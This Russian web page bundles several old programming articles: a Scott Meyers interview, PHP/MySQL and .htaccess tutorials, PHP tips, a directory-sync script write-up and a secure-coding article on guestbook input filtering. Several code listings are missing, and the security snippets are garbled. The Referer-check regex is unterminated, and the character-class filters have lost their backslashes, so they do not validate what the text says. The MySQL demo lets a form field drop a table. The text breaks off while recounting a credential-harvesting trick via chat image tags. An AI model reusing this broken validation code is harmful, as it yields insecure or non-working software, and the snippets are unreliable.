Содержание раздела "Кодинг":
Интервью со Скоттом Майерсом
PHP и MySQL на примере
Синтаксис файла .htaccess
Советы и трюки по PHP
Синхронизация веб-каталогов на PHP
Безопасное программирование
Подпишитесь на рассылку от ведущего раздела "Кодинг"
Интервью со Скоттом Майерсом
Скотт Майерс (Scott Meyers) - известный программист и гуру С++. Скотт написал несколько книг по "эффективному" программированию вообще, и на С++ - в частности (о том, что такое "эффективный код" и "хорошие программы" - читайте дальше). Скотт также является постоянным автором в "The С/С++ Users Journal" (http://www.cuj.com).
По мнению Скотта, сегодня развелось довольно много некачественного кода. Именно этой проблеме он уделяет внимания больше всего. В интервью мы постараемся выяснить, что называется плохим и хорошим приложением, и как написать эффективную программу на практике.
У Скотта также довольно интересный взгляд на чудо минувшего века - персональные компьютеры. Еще ни разу не доводилось слышать, чтобы кому-то они не нравились. Однако Скотт аргументирует свою точку зрения и, надо сказать, весьма последовательно.
Последней интересной темой, поднятой в статье, является будущее и перспективы языков программирования и средств разработки. Скотт в качестве интервьюируемого здесь выбран не случайно - только человек, наблюдавший рассвет эпохи компьютеров и видевший "с чего все начиналось", может делать какие-то выводы.
TanaT: С чего начинается ваша история?
Скотт Майерс: Впервые я начал программировать в 12 лет, а уже к 13 годам я и мой друг стали руководить занятиями по информатике в нашей школе. В то время я увлекся программированием, но к 14 годам мое внимание постепенно переключилось на другие вещи. Когда я поступил в Стенфордский Университет, то интересовался биологией. Именно её я и изучал в университете. Я продолжал посещать курсы, посвященные компьютерам, во многом потому, что профессия программиста была более востребована. Когда пришло время оканчивать университет, в 1981 году, я с удивлением обнаружил, что очень близок к получению степени магистра по вычислительной технике (на западе это словосочетание зовется модным "computer science" - прим. автора). Поэтому я продолжил обучение в Стенфорде, которое вылилось для меня в степень бакалавра по биологии и магистра по вычислительной технике. Определенное представление о том, как я комбинировал свои увлечения, можно получить из моей магистерской работы: я написал программу, которая моделирует генетическую структуру бактериофага лямбда (это такой вирус).
После окончания учебы я работал в небольшой начинающей компании, которая разрабатывала ПО для автоматизации электронной промышленности. Это было захватывающее и воодушевляющее время. Мы были одной из первых компаний, которая использовала рабочие станции Apollo (первые коммерчески доступные рабочие станции с растровыми экранами и интегрированной оконной системой). Мы разрабатывали ПО для миникомпьютеров Vax, Prime и Apollo, а также для IBM'овских мейнфреймов (мейнфреймами называются большие суперкомпьютеры, использующиеся в критических к ресурсам отраслях, например, в оборонной промышленности прим. автора). Позже мы перенесли наши программы на IBM PC (это было и не очень легко и совсем не прибыльно).
В отличие от большинства людей в компьютерной индустрии, я разочаровался в персональных компьютерах. Они не нравились мне ни в тот момент, когда появились, ни долгие годы спустя. Я был твердо убежден, что если у компьютера нет виртуальной памяти, хотя бы простой мультизадачности и плоского адресного пространства, то это - калькулятор. Поэтому мне нравилось обитать в мире DEC-20, Vax, Apollo и Sun на протяжении двух десятилетий. Я действительно не пользовался ПК вплоть до 1993 года. И даже потом я делал это неохотно. Именно в данный момент я решил заняться консалтингом.
От автора. Виртуальной памятью является не только оперативная память, но и файл подкачки (в Windows) или раздел swap (в UNIX) на жестком диске. Благодаря виртуальной памяти компьютер может работать с программами, требующими больший объем оперативной памяти, чем доступен физически. Следует отметить, что механизм виртуальной памяти был разработан далеко не сразу после появления ПК. Вам, наверное, знакомы слова, что оперативная память сегментирована. То есть, вся память представляет собой набор сегментов, а каждый кусочек памяти характеризуется адресом этого сегмента и смещением внутри него (то есть относительным адресом). Но справедливости ради стоит отметить, что сегодня "плоская", или не сегментированная, память уже доступна для программистов. Модель "плоской" памяти так и называется "flat". (Она заменила в Windows старый "сегментированный подход", использовавшийся в MS-DOS).
В течение всех 80-ых я относился со снисхождением к программистам, которые писали ПО для ПК, потому что они создавали программы для платформы, которая была изначально трудной для программирования. Сейчас я понимаю, что они просто наслаждались полным контролем над машиной, но мои глаза просто выходили из орбит от удивления, когда я слышал о разработке оверлеев, чтобы компенсировать нехватку виртуальной памяти. Это же мазохизм! Еще и огромная потеря в производительности! Я просто не понимал, какой в этом смысл.
От автора. Оверлеи - это средство избежать нехватки оперативной памяти. Программа должна была сама заботиться о том, чтобы сбросить часть данных на диск или, наоборот, считать их оттуда. Концепция оверлеев умерла, когда был разработан нормальный механизм виртуальной памяти. Сегодня операционная система управляет памятью самостоятельно.
После нескольких лет работы разработчиком коммерческого ПО (за это время наша компания стала известна, хотя я и не разбогател), я решил вернуться в университет. Поэтому в 1985 году я поступил в Браунский Университет, чтобы стать доктором наук. Там я занимался исследованием сред программирования. После получения степени доктора я проработал еще один год в Брауне в качестве научного сотрудника. В 1993 году я открыл собственное дело: консультант по разработке программного обеспечения, специализирующийся на С++.
TanaT: Чем вы занимаетесь сейчас?
Скотт Майерс: Я по-прежнему сам себе хозяин и занимаюсь консалтингом. В течение десятка лет я уделял внимание в основном С++, но сейчас расширил собственный кругозор: я ищу методики, помогающие достичь лучшего качества кода вне зависимости от используемого языка. Большинство же времени тратится на изучение новых техник разработки ПО и обдумывания способов улучшения кода, которые профессионалы еще не используют. Так же я пишу книги и статьи. Это помогает думать и находить что-нибудь новое и действительно ценное.
TanaT: Вы заслуженно считаетесь С++ гуру. Как вы приобрели свой багаж знаний и опыта?
Скотт Майерс: Я начал изучать С++ в 1986 или 1987. Тогда язык был много проще и меньше. В нем не было исключений, шаблонов и, возможно даже, множественного наследования. Спустя несколько лет я уже вел недельные курсы по С++ для профессиональных разработчиков на С. Каждый, кто хоть раз преподавал, знает, что лучший способ понять глубже что-либо - попытаться научить этому другого. Именно данный опыт привел меня к написанию моей первой книги - "Эффективный С++". Другими источниками моего опыта послужили активное участие в новостной группе С++ (часто приходилось с кем-нибудь спорить), чтение буквально всего, что только издавалось о С++, мои личные эксперименты с языком и использование С++ в работе над докторской.
TanaT: А как часто вам приходится писать код?
Скотт Майерс: По работе мне не часто приходится писать код. Моя работа заключается в том, чтобы изучить программное обеспечение и его разработку. Но не проделать это все самостоятельно. Когда же мне приходится писать код, то это скорее всего небольшая тестовая программка на С++, которую я затем пробую под несколькими компиляторами прямо из командной строки. Я чаще пишу статьи и книги, чем код.
TanaT: Что вы можете сказать о современных веяниях: С# и .NET?
Скотт Майерс: Я не очень хорошо знаком с .NET и C#, но думаю, что .NET - это очень мощная платформа для разработки определенных приложений. C# - не конкурент С++, так как на нем пишутся приложения совсем другого рода. С++ предназначен для системного программирования, именно для них этот язык является родным.
Что касается С#, то это - достаточно тонкий слой над .NET CLR (Common Language Runtime - общеязыковая среда выполнения .NET прим. автора), поэтому я не сомневаюсь в том, что он станет основным языком разработки приложений для .NET.
TanaT: Как бы вы оценили перспективы и будущее средств разработки и языков программирования?
Скотт Майерс: Из расцвета Java, а затем и .NET можно сделать вывод о целой тенденции развития языков вместе со своими специальными платформами. Эти платформы являются абстрактным слоем, лежащим под языком программирования и реализующим встроенные механизмы для безопасности, распределенных приложений и большей выразительности. В противоположность обоим С и С++, языки для Java и .NET вышли за стандартные рамки отношений "язык - библиотека" и, что особенно характерно для .NET, "язык и среда разработки". Например, программисты на Visual Basic не делают большого различия между языком, на котором они пишут (BASIC), и средством, которое они используют (Visual Basic). Я предполагаю, что тоже самое случится и с большинством разработчиков для .NET: различия между .NET CLR, библиотеками классов .NET и средой Visual Studio постепенно исчезнут.
TanaT: Как вы вообще относитесь к тенденции создания новых языков программирования вместе со своими платформами (Java, .NET)? Приложения не теряют от этого, скажем, в надежности?
Скотт Майерс: Думаю, что приложения для Java и .NET так же надежны, как и обычные. Единственной причиной написания под них программ является широкий набор библиотек. В дополнение к этому, такие приложения легче отлаживать и тестировать. Но в любом случае, они не лучше аналогичных хорошо написанных "естественных" программ.
TanaT: А что вы можете сказать конкретно о С++? Он не уступит свое место кому-нибудь помоложе?
Скотт Майерс: В ближайшем будущем C++ останется основным языком для системных программ. Хотя аппаратные улучшения скоро вытеснят многие приложения из этой области, то есть для них не потребуется больше использовать С++. С другой стороны, я вижу увеличение использования С++ во встроенных системах (имеются в виду мобильные устройства прим. автора), так как они все больше и больше требуют стандартных для ПК приложений, а мощности у них не так много. С течением времени, я думаю, другие языки во многом потеснят С++, но в ближайшем будущем его позиция не пошатнется.
TanaT: Другая современная тенденция: RAD-средства, позволяющие создавать сложные приложения достаточно быстро. К примеру, Microsoft Visual Studio .NET и RAD-средства от Borland (Delphi, C++ и Java Builder) очень популярны сегодня. Более того, такой подход уже перекинулся и на UNIX. Доказательством тому является стремительный рост пользователей Borland Kylix. Как вы считаете, это хорошо, что программист позволяет машине писать код за него?
Скотт Майерс: Думаю, да. Это хорошо, что мы позволяем машине писать код за нас. Именно поэтому у нас есть ассемблеры и компиляторы. Только серьезная причина может заставить нас отказаться от помощи компьютера в "черной работе". Программист старается поднять уровень абстракции как можно выше, оставляя все остальное машине. Так происходит потому, что людям нужно концентрироваться на творческой работе, приводящей к новым путям решения возникающих задач. А скучное написание кода - удел машины.
TanaT: Эволюцию языков программирования можно обобщить одним тезисом: каждый новый язык становится все выше и выше по уровню, чем предыдущие. Например: assembler, Algol, C, C++, C# и Java. Что можно сказать о низкоуровневом программировании сегодня? Может, ассемблер следует похоронить? Ведь сегодня можно писать те же драйверы на С/С++ вообще без ассемблерных вставок!
Скотт Майерс: Нет. Ассемблер жив. Небольшое число людей, умеющих на нем программировать, будет требоваться всегда. Хотя со временем их будет становиться все меньше и меньше. Что касается меня, то прошли уже десятилетия с тех пор, как мне надо было что-то писать на ассемблере. И, по-моему, это неплохо. Я уверен, что большинство современных С и С++ программистов не используют ассемблерных вставок, за исключением, возможно, вызовов внутри собственных библиотек. Если немного расширить проблему, то довольно интересно, что вы считаете С языком более высокого уровня, чем Алгол, и С# - чем С++. Честно говоря, я не совсем согласен, что каждый новый язык становится выше предыдущего. Просто он служит для решения задач, которые раньше было или нельзя или слишком сложно решить.
TanaT: Тогда такой вопрос: на ваш взгляд, язык C является языком высокого или низкого уровня?
Скотт Майерс: Тридцать лет назад, когда язык С только появился, я бы со спокойной совестью назвал его языком высокого уровня. Но сегодня наши представления изменились. Теперь С является низкоуровневым языком с некоторыми высокоуровневыми возможностями. Указатели, битовые операции, явное управление памятью - все это низкоуровневые операции. Но полноценные возможности любого высокоуровневого языка (классы, наследование, динамическое связывание, исключения, модули, шаблоны и т.д.) отсутствуют.
TanaT: Каким компьютером вы пользуетесь дома и в офисе?
Скотт Майерс: Я использую IBM T22 Thinkpad. Начинка вполне стандартная: Pentium-III (хотя такая мощность мне и не требуется), 392 MB ОЗУ, 20 GB жесткий диск. Я использую Windows 2000. Единственное, чем я отличаюсь от подавляющего большинства, так это использование FrameMaker вместо MS Word и Eudora вместо Outlook. Что же касается быстрого просмотра текста (что мне приходится делать чаще всего), то я предпочитаю Emacs. Мой дом является также и моим офисом, поэтому все оборудование совпадает :).
TanaT: Вы уделили немало книг проблеме эффективного кода на С++. Вы так же, как и Бьярн Страуструп, считаете, что сегодня "развелось" много некачественных С++ приложений?
Скотт Майерс: Я думаю, что общее состояние современного ПО оставляет желать лучшего вне зависимости от того, на каком языке оно написано. Именно это послужило стимулом к расширению моего кругозора от чистого С++ к разработке в общем. Основываясь на собственном опыте, я могу утверждать: очень многое еще можно улучшить в практичности (простоте использования), надежности и устойчивости (например, к зависаниям) приложений. То есть, как мне кажется, проблема не в том, что слишком много плохих приложений на С++, а в том, что много просто плохих приложений и библиотек (в каждом языке), включая HTML и другие web-языки.
TanaT: Как вы понимаете слова "эффективный код" и "хорошие/плохие программы"? Может, эффективность - это маленький размер, высокие скорость и стабильность/надежность?
Скотт Майерс: Для меня "эффективный" код - это тот, что выполняет поставленную задачу наиболее понятным, удобным и практичным способом, с вполне разумными требованиями к ресурсам. Это значит, что код может быть эффективным, даже если он решает неправильную задачу. Хотя в этом случае он будет никому не нужен. Помните, что эффективный код всегда выполняет поставленную задачу, то есть, ошибка в постановке задачи не имеет никакого отношения к коду, а лишь к спецификации. Я бы назвал приложение или библиотеку плохой, если она не делает то, что задумано, или если ее использование проблематично (слишком сложное). В этом смысле назвать приложением "плохим" может лишь пользователь, хотя если качество кода очень низко, такое приложение тоже следует считать плохим. То есть проблема может находиться и в реализации: бедный интерфейс или плохое поведение.
TanaT: Что вы можете сказать об STL (Standard Template Library - стандартная библиотека шаблонов. Содержит шаблоны самых полезных и часто используемых классов: контейнеров, комплексных чисел, стандартных алгоритмов и т. д. прим. автора)? Она написана профессионалами и проверена временем. Но довольно часто в ней все равно находят "баги".
Скотт Майерс: Я думаю, что значение STL очень велико в проектировании приложений. Я ее очень уважаю. Это не значит, что я считаю ее идеальной. Но это очень мощная и гибкая библиотека для разработки расширяемых приложений, построенных на наследовании. Мне она очень нравится. Если сравнивать ошибки в STL и других библиотеках (даже коммерческих), то они не так значительны и более редки.
TanaT: Что же следует делать программистам, чтобы научиться писать эффективный код?
Скотт Майерс: Прежде всего, им не следует быть самодовольными. Им следует постоянно думать, какую проблему они решают, и искать способы решить ее еще лучше. Среди прочего они должны задуматься над тем, почему их код иногда дает сбои. Следует также приобщать себя к новым идеям, общаясь с другими людьми и читая. Если возникает какой-то вопрос, его обязательно надо высказать. Например, я считаю, что две самые значительные мои публикации, являются просто вызовом общепринятому сегодня объектно-ориентированному подходу. В первой книге - "Более эффективный С++" я высказал мысль, что концентрировать свое внимание на наследовании между классами - не правильно. Или, что точнее, не совсем правильно. Во второй публикации - статье в "C/C++ User's Journal" за февраль 2000 (http://www.cuj.com/articles/2000/0002/0002c/0002c.htm), я сказал, что лучший способ добиться инкапсуляции - это вынести функции вообще за классы! В обоих случаях я потратил несколько лет прежде, чем понять эти концепции и опубликовать их. И в обоих случаях высказанные идеи идут вразрез с общепринятыми подходами.
TanaT: А что вы можете сказать о своих личных предпочтениях: открытые исходники или закрытое коммерческое ПО? Не считаете ли вы, что открытый исходный код позволяет находить "дыры" и неэффективный код быстрее?
Скотт Майерс: Я пытаюсь не лезть в дебри противоречий "открытый код против закрытого". Что же касается подхода "отыскания ошибок", то их надо исключать еще до выхода конечной версии продукта! Конечно, сопровождать код и отыскивать в нем ошибки, это хорошо. Но более важно позаботиться об этом заранее. А здесь у открытого кода нет никаких преимуществ.
TanaT: Вас когда-нибудь приглашали на постоянную работу в какую-нибудь крупную компьютерную компанию?
Скотт Майерс: Мне предлагали постоянную работу в IBM в середине 80-ых. Но я предпочел окончить университет. Это оказалось очень мудрым решением, так как я встретил свою будущую жену в первую же неделю пребывания в Брауне. :)
TanaT: Что вы думаете о несовместимостях в С и С++?
Скотт Майерс: У меня нет четкого мнения на эту тему. Я не думаю, что кому-то выгодно специально создавать несовместимости между этими двумя языками. Наиболее логично было бы, если бы Комитеты по Стандартизации просто присматривались к деятельности друг друга, но по политическим причинам я очень скептически отношусь к идее объединения двух языков, которую защищает Бьярн Страуструп. Пока что я не вижу, чтобы люди, с которыми я работаю, волновались из-за несовместимостей между С++ и С. Думаю, в будущем всегда будут некоторые различия между С и С++ и это будет доставлять некоторые хлопоты пользователям обоих языков. Я не считаю, что эта проблема сегодня заслуживает внимания.
TanaT: Спасибо, что уделили нам время! Вы - действительно отличный собеседник!
PHP и MySQL на примере
Как вы знаете, с помощью великого и ужасного
.htaccess можно настроить в качестве интерпретируемых
как PHP файлов файлы с расширениями .php, .php3, .php4, .phtml
(естественно, можно настроить и файлы .prikol, просто эти -
наиболее часто используемые). Если желаете, можно даже считать
таковыми файлы .html, достаточно просто прописать в .htaccess
следующее:
Я крайне не рекомендую этого делать, советую
называть файлы PHP так, чтобы расширением было .php. Эта
рекомендация связана с тем, что файл .php явно является
скриптом, в отличие от html, который запросто может и не
содержать скриптовых включений (а нагрузка на сервер
остается). По этой же причине я не советую и настраивать .html
файлы на исполнение Includes (SSI), но тут уж выбор за вами. В
крайнем случае в файл .shtml можно добавить PHP-включение
стандартной директивой <!--#include virtual="privet.php" -->
Ни коем случае не пытайтесь назначать файлы
одного расширения сразу и на интерпретацию PHP, и SSI! Это
приведет к непредсказуемым последствиям. Как вы уже
догадались, подключение к MySQL производится двумя командами:
сначала соединяемся с сервером MySQL, потом выбираем
используемую базу данных, вот так:
Переменные, отвечающие за пароль, логин и
прочее, лучше задавать отдельно. Собака перед командой
означает то, что сообщения об ошибках этой команды не
выводятся. Не забудьте потом закрыть соединение с MySQL! mysql_close();
Вот так. Теперь самое интересное. Как
выясняется, вы можете довольно просто манипулировать
содержимым базы данных с помощью команды mysql_query.
Например, мы создаем простую формочку с полями name, email и
password:
После этого мы должны создать файл database.php,
обрабатывающий эти данные. Нетрудно догадаться, что в нем мы
будем иметь готовые переменные name, email, password, drop,
del, которые и предстоит обработать. Обработка будет
заключаться в том, что если галочка "Del" не установлена, то
значение в БД добавляется, иначе - удаляются все такие
значения (должны полностью соответствовать все три основных
поля).
Это обычный выбор базы данных, интереса не
представляет. Как известно, при попытке создать в БД таблицу,
которая уже существует, сервер выдает ошибку. Поэтому можно
довольно легко проверить таблицу на существование, и, если ее
нет, создать ее:
Теперь проверяем, отмечена ли галочка del if (empty($del))
И если она пуста, то добавляем значения в
таблицу
Иначе пытаемся удалить значения, точно
соответствующие шаблону:
Проверяем, написал ли пользователь в поле drop
слово "drop", если да - удаляем из БД всю таблицу:
В принципе, теперь осталось только закрыть
соединение и написать закрывающий тег ?>, но мы ведь хотим
посмотреть, что у нас получилось? Делаем так:
Вот и все, простая программа манипуляции базой
данных готова. Замечу, что восклицательный знак перед функцией
означает логическое НЕ, т.е. !empty($line) означает "НЕ
(пустая ли переменная $line?)", и будет иметь значение ИСТИНА
(TRUE), если $line непустая. Функция extract(аргумент)
выделяет из выдачи MySQL, которую мы не можем просто так
распечатать, переменные, соответствующие названиям полей в
таблице; в нашем случае это $name, $email, $password - так и
называются поля в таблице clients.
Синтаксис файла .htaccess
Анализируя запросы с поисковых систем,
обнаружил, что люди регулярно заходят ко мне по запросам,
вроде «синтаксис файла .htaccess» и попадают на разные
заметки, но нужной информации у меня не находят, пишут письма
и спрашивают, где про это можно почитать «попроще».
Итак – по заявкам поисковых систем: .htaccess для
чайников. «Нечайники» могут найти кучу документации вот тут. Впрочем, «нечайники» и
без того знают.
.htaccess – это файл, в котором вы можете
прописать настройки вашего сервера (если он – Апач) для директории (и
ниже). То есть если вы создадите файл .htaccess в корне сайта,
его действие будет распространяться на весь сайт, однако, если
в какой-нибудь поддиректории создадите еще один, то он будет
«главным» там. Файл .htaccess не будет работать, если а)
сервер – не Апач, б) администраторы сервера запретили его
использование.
Я просто опишу, что знаю сам, и мне этого вполне
хватает, и 90% «чайников» должно хватить. Итак, лично в моем
.htaccess все выглядит примерно вот так (построчно):
DirectoryIndex index.php3
Устанавливает файл в директории, который
грузится по «умолчанию». Обычно – index.html. У меня
стоит index.php3, поэтому когда вы набираете
http://spectator.ru/, грузится файл index.php3
CharsetDefault windows-1251
Кодировка, которую сервер выдает браузеру по
умолчанию. То есть у меня файлы выдаются в windows-кодировке.
CharsetSourceEnc windows-1251
Кодировка, в которой вы должны закачивать файлы
на сервер. У меня опять же стоит windows-1251. Это удобно,
когда у тебя операционная система – Win. По умолчанию же
стоит koi (koi8-r), что, по-моему, не совсем удобно.
ErrorDocument 404
/index.php3 ErrorDocument 401 /index.php3
Файлы, которые выдает сервер, когда страница не
найдена (404). Например, вы можете прописать, например, файл
404.html, в котором написать, мол, «документ нот фоунд», или
вообще сделать что-то вроде этого. (см. также
«PHP и ЧПУ»)
Options -Indexes
Запрещает отображение содержимого директории.
Например: http://spectator.ru/images/.
Чтобы разрешить, надо написать то же самое, но без «-».
Напомню, что разрешать можно выборочно, создав .htaccess там,
где нужно, и прописав «Options Indexes». (В принципе, можно
прописать это все в одном .htaccess, но данный текст написан
для чайников, все-таки)...
Потом у меня прописано указание для модуля
mod_rewrite для «переписывания»
запросов. Переписывание запросов – это, грубо говоря,
такая вот фиговинка: человек запрашивает файл, например
spectator.ru/issues/284, а сервер ему тихо и незаметно выдает
файл spectator.ru/html/284.html (к примеру, на самом деле все
не так). См. также «PHP и ЧПУ». Это то
же самое, но делано по-другому, более эффективно). Подробно
(очень) можно об этом прочитать вот
тут по-английски или вот
тут по-русски.
Вот, собственно, и весь ликбез. Мой .htaccess на
этом заканчивается. Для тех, кто в танке: выглядит все
содержимое файла .htaccess в конце концов примерно вот так:
DirectoryIndex index.php3 CharsetDefault
windows-1251 CharsetSourceEnc windows-1251 ErrorDocument
404 /index.php3 ErrorDocument 401 /index.php3 Options
-Indexes
Надеюсь, кому-то это окажется полезным.
Советы и трюки по PHP
Началом написания серии статей "Советы и трюки" послужил отчет "Tips and Tricks" Расмуса Лирдофа (Rasmus Lerdorf) с конференции PHPCon2002, которая состоялясь 24 октября 2002 года в городе Milbrae, Калифорния, США. Изначально планировалось просто перевести отчет по просьбам членов Клуба разработчиков PHP, но по мере чтения статей возникло много спорных вопросов и разногласий с автором, поэтому я постарался как можно более четко определить и разъяснить преимущества и недостатки того, или иного подхода оптимизации решений.
Часть 1. Оптимизация
1. Без необходимости не используйте регулярные выражения.
В PHP кроме регулярных выражений существует большое количество функций по обработке текста, которые в некоторых случаях могут заменить их, экономя при этом ресурсы сервера.
Неправильно: <? $new = ereg_replace("-","_",$str); ?>
Правильно: <? $new = str_replace("-","_",$str); ?>
Неправильно: <? preg_match("/(\..*?)$/",$str,$reg); ?>
Правильно: <? substr($str,strrpos($str,)); ?>
2. Используйте ссылки при обработке больших массивов данных для экономии памяти сервера.
Работа со ссылками (references) является более приемлемой при обработке больших объемов информации, хотя и немного медленней, чем работа с копией, но использует меньший объем памяти. Поэтому Вы должны самостоятельно определить, запасы каких ресурсов на сервере более рационально использовать - процессора или памяти.
3. Постоянные (persistent) соединения с БД
Некоторые БД более медленно выполняют создание новых соединений, чем другие БД. Чем дольше происходит создание нового соединения, тем больший смысл имеет использовать постоянное соединение с БД. Но учтите, что постоянные соединения связывают и используют ресурсы сервера, даже тогда, когда эти соединения простаивают.
Учтите, в PHP реализована функция отключения постоянных соединений, поэтому если у провайдера в конфигурации PHP установлена директива mysql.allow_persistent = Off, то соединения вызываемые функцией mysql_pconnect() будут обрабатываться как mysql_connect().
Очень часто встречаются советы не использовать постоянные соединения с БД. Это связано в первую очередь с тем, что многопоточные веб-сервера, к которым относится и Apache, не могут разделить со своими потомками соединение с БД. Таким образом если следующий запрос приходит на другого потомка, то он создает новое постоянное соединение, что со временем приводит к появлению большого количества незакрытых соединений с БД и переполнению допустимого лимита max_connections в MySQL. Возможно два решения этой проблемы: первое описано выше заключается в запрете использования постоянных соединений, второе - использовать малое значение времени жизни постоянного соединения в директиве wait_timeout конфигурации MySQL. По умолчанию оно составляет 28800 сек. (8 часов), по истечению которых после отсутствия активности соединения будет закрыто.
Помимо всего этого существуют еще некоторые проблемы постоянных соединений с транзакциями и блокировками таблиц. Так, если таблица блокируется запросом на транзакцию или LOCK TABLE и при этом скрипт заканчивает свое выполнение до завершения транзакции или выполнения разблокировки таблицы UNLOCK TABLE соответственно, то вторичная попытка доступа к таблице через это же постоянное соединение будет отклонена. При использовании непостоянного соединения с БД, при завершении скрипта соединение закрывается автоматически и при этом снимает блокировку со всех таблиц и завершает все транзакции. Решением этой проблемы есть регистрации функции register_shutdown_function() которая бы по завершению скрипта снимала блокировку с таблиц и завершала транзакции.
Так что можете использовать, а можете и не использовать, все зависит от поставленных задач.
4. Используешь MySQL? Проверь mysql_unbuffered_query()
Небуферезированные запросы к БД MySQL применяется так же как и mysql_query(). Разница заключается в том, что вместо того, чтоб ожидать полного окончания запроса сохранить результат в клиентском API, небуферизированный запрос делает доступными результаты своего выполнения как можно скорее, минуя буферизацию в клиентском API. Таким образом Вы получаете боле быстрый доступ к данным с меньшими затратами памяти. Недостатком использования такого типа запросов является невозможность получить доступ к функции mysql_num_rows(),этои запросы медленнее на маленьких выборках SELECT, а также хотелось бы заметить то, что при выполнении любого другого запроса, все данные которые небыли выведены, будут потеряны.
5. В поисках идеала
Если решения выглядят для Вас комплексно, то наверняка найдется более простой и очевидный подход к решению задачи.
Синхронизация веб-каталогов на PHP
При регулярном обновлении сайта нередко
возникает ситуация, когда при обновлении связь обрывается и
приходится начинать обновление сначала. При обновлении же
сайта, состоящего из множества каталогов, вполне вероятно, что
некоторые файлы не будут обновлены или закачаны
вообще.
При наличии на вашем сайте PHP существует
достаточно простое решение проблемы: на вашем сайте (не имеет
значения на какой платформе он размещен) и на вашем "рабочем"
(локальном) компьютере размещается скрипт, который дает
возможность получить информацию о размещенных файлах и их
размерах.
После получения информации от скриптов сбора
информации на локальном месте также запускается анализ
результатов выполнения "локального" и "удаленного" скриптов и
появляется возможность точно синхронизировать
веб-каталоги.
Итак, рассмотрим требования к программе,
позволяющей делать подобную синхронизацию:
- Программа должна давать однотипную информацию о
размещенных файлах и каталогах на различных платформах. Как
минимум, я рассматривал запуск скрипта сбора информации на
FreeBSD и Windows.
- В эталонном веб-каталоге программа должна давать
статистику о несоответствии веб-каталогов и о типе
несоответствия.
- Результаты выполнения программы на удаленной машине
должны быть доступны для получения в виде файла.
Эти минимальные требования успешно выполняет
программа, написанная на PHP. Благодаря наличию версий как для
UNIX, так и для Windows, достигается универсальность работы, и
при этом потенциально исключается возможность возникновения
ошибок, связанных с различной работой собирающих информацию
программ на различных платформах.
Рассмотрим часть программы (которая полностью
доступна для скачивания в разделе "Загрузка/PHP"
сайта "Программы для бизнеса"), которая ответственна за сбор
информации о веб-каталоге.
Скрипт для сбора информации о веб-каталоге
(sh.php):
Как видите, принцип работы анализатора логов
состоит в заполнении двух ассоциативных массивов информацией
из лог-файлов и их сравнении.
Как дальнейшее развитие идеи синхронизации
каталогов на PHP видится использование подсчета контрольной
суммы в каждом файле на удаленной и локальной машине.
Безопасное программирование
Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтобы меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.
Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение,
должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по
определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода
всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных
ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать
все данные, присланные пользователем.
Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само
по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода
чем-нибудь вроде:
<input type=text name=username maxlength=20>
На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого
элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов.
А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и
подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего
данные, проверку переменной окружения web-сервера HTTP-REFERER:
<?
$referer=getenv("HTTP_REFERER");
if (!ereg("^http://www.myserver.com)) {
echo "hacker? he-he...n";
exit;
}
?>
Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com,
хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить
100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов,
переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код
браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная
защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около
80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не
позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и
вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного -
а береженого Бог бережет.
Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не
будем доверять переменной maxlength в формах ввода и ручками порежем строку:
$username=substr($username,0,20);
Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать
анонимные сообщения:
if (empty($username)) {
echo "invalid username";
exit;
}
Запретим пользователю использовать в своем имени любые символы, кроме букв русского и
латинского алфавита, знака "_" (подчерк), пробела и цифр:
if (preg_match("/[^(w)|(x7F-xFF)|(s)]/",$username)) {
echo "invalid username";
exit;
}
Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в
строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения
(Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные
PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно
описано в мануале.
Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", иначе
пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:
if (preg_match("/[^(w)|(@)|(.)]/",$usermail)) {
echo "invalid mail";
exit;
}
Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки
препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием
функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения
html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы
пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тэгозаменители,
типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать
пользователям использование тегов, подразумевающих подключение внешних ресурсов - от
тривиального <img> до супернавороченного <bgsound>.
Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно
разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько
минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех
присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан
